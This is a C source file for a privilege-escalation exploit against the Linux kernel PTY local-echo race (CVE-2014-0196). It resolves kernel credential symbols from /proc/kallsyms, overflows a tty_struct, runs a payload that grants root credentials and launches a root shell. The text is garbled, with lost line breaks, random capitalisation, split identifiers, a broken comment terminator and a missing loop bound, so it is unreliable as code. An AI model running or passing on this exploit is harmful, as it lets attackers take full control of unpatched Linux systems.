/* * Cve-2014-0196:linux kernel <= v3.15-rc4:raw mode PTY local echo Race * condition * * Slightly-less-than-poc Priv Ilege escalation exploit * for kernels >= v3.14-rc1 * Matthew Daley <[email protected]> * * Usage: * $ GCC Cve-2014-0196-md.c-lutil-lpthread * $./a.out * [+] Resolving symbols * [+] resolved COMMIT_CREDS:0XFFFFFFFF8 1056694 * [+] Resolved prepare_kernel_cred:0xffffffff810568a7 * [+] Doing once-off allocations * [+] attempting to Overflow into a tty_struct .... * [+] Got it:) * # id * uid=0 (root) gid=0 (root) groups=0 (root) * Warnin G:the overflow placement is still less-than-ideal; There is a quarter * chance that the overflow would go off the end of a slab. This does not * necessarily leads to a immediate kernel crash, but if you should is prepared * for the worst (i.e. kernel OOP Sing in a bad state). In theory this would being * avoidable by reading/proc/slabinfo on systems where it's still available * to unprivileged usERs. * * Caveat:the vulnerability should is exploitable all the the-the-same-from-V2.6.31-RC3, however relevant changes to the TTY su bSYSTEM were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty:halve Flip buffer * Gfp_atomic memory consum Ption ") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon oberheide in exploitation technique. * * #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h># Include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include < unistd.h> #define Tty_magic 0x5401#define oneoff_allocs 200#define run_allocs 30struct device;struct Tty_driver;stru CT tty_operations;typedef struct {int counter;} atomic_t;struct kref {atomic_t refcount;}; struct Tty_struct_header {intmagic;struct kref kref;struct device *dev;struct tty_driver *driver;const struct tty_ Operations *ops;} overwrite;typedef int __attribute__ ((Regparm (3))) (* commit_creds_fn) (unsigned long cred); typedef unsigned long __attribute__ ((Regparm (3))) (* prepare_kernel_cred_fn) ( unsigned long cred); int master_fd, Slave_fd;char buf[1024] = {0};COMMIT_CREDS_FN COMMIT_CREDS;PREPARE_KERNEL_CRED_FN Prepare_kernel_cred;int payload (void) {commit_creds (prepare_kernel_cred (0)); return 0;} unsigned long get_symbol (char *target_name) {FILE *f;unsigned long addr;char dummy;char name[256];int ret = 0;f = fopen ("/ Proc/kallsyms "," R "), if (f = = NULL) return 0;while (ret! = EOF) {ret = fscanf (f,"%p%c%s\n ", (void * *) &addr, &dum My, name), if (ret = = 0) {fscanf (F, "%s\n", name); continue;} if (!strcmp (name, target_name)) {printf ("[+] resolved%s:%p\n", Target_name, (void *) addr); fclose (f); return addr;}} printf ("[-] couldn ' t resolve \"%s\ "\ n", name); fclose (f); return 0;} void *overwrite_thread_fn (void *p) {write (SLAVE_FD, buf, 511); write (SLAVE_FD, buf, 1024-32-(1 + 511 + 1)); Write (slave_ FD, &overwrite, sizeof (overwrite));} int main () {char scratch[1024] = {0};void *tty_operations[64];int I, Temp_fd_1, temp_fd_2;for (i = 0; i <; ++i) Tty_operations[i] = PAYLOAD;OVERWRITE.M Agic = Tty_magic;overwrite.kref.refcount.counter = 0x1337;overwrite.dev = (struct device *) Scratch;overwrite.driver = (struct Tty_driver *) Scratch;overwrite.ops = (struct TTY_OP Erations *) tty_operations;puts ("[+] resolving symbols"); commit_creds = (COMMIT_CREDS_FN) get_symbol ("Commit_creds"); prepare_kernel_cred = (PREPARE_KERNEL_CRED_FN) get_symbol ("prepare_kernel_cred"); if (!commit_creds | |!prepare_ kernel_cred) return 1;puts ("[+] Doing once-off allocations"); for (i = 0; i < Oneoff_allocs; ++i) if (Openpty (&temp_fd _1, &temp_fd_2, NULL, NULL, NULL) = =-1) {puts ("[-] pty creation failed"); return 1;} printf ("[+] attempting to overflow into a tty_struct ..."); Fflush (stdout); for (i = 0;; ++i) {struct Termios t;int Fds[run_allocs], Fds2[run_allocs], j;pthread_t overwrite_thread;if (!) ( I & 0XFFF)) {Putchar ('. '); Fflush (stdout);} if (Openpty (&MASTER_FD, &SLAVE_FD, NULL, NULL, NULL) = =-1) {puts ("\n[-] pty creation failed"); return 1;} for (j = 0; j < Run_allocs; ++j) if (Openpty (&fds[j], &fds2[j], NULL, NULL, NULL) = =-1) {puts ("\n[-] Pty Creati On failed "); return 1;} Close (FDS[RUN_ALLOCS/2]); Close (FDS2[RUN_ALLOCS/2]); write (SLAVE_FD, buf, 1); Tcgetattr (MASTER_FD, &t); T.c_oflag &= ~opost;t.c_lflag |= echo;tcsetattr (master_fd, Tcsanow, &t); if (Pthread_create (&overwrite_thread, NULL, OVERWRITE_THREAD_FN, NULL)) {puts ("\n[-] Overwrite thread creation failed"); return 1;} Write (MASTER_FD, "A", 1);p thread_join (Overwrite_thread, NULL); for (j = 0; j < Run_allocs; ++j) {if (j = = Run_allocs/2 ) Continue;ioctl (Fds[j], 0xdeadbeef), IOCTL (Fds2[j], 0xdeadbeef); Close (Fds[j]); Close (Fds2[j]);} IOCTL (MASTER_FD, 0xdeadbeef), IOCTL (SLAVE_FD, 0xdeadbeef), Close (MASTER_FD), Close (SLAVE_FD), if (!setresuid (0, 0, 0)) { Setresgid (0, 0, 0);p UTS ("\n[+] Got it:)"); Execl ("/bin/bash","/bin/bash ", NULL);}}}
cve-2014-0196 (marathon runner bug)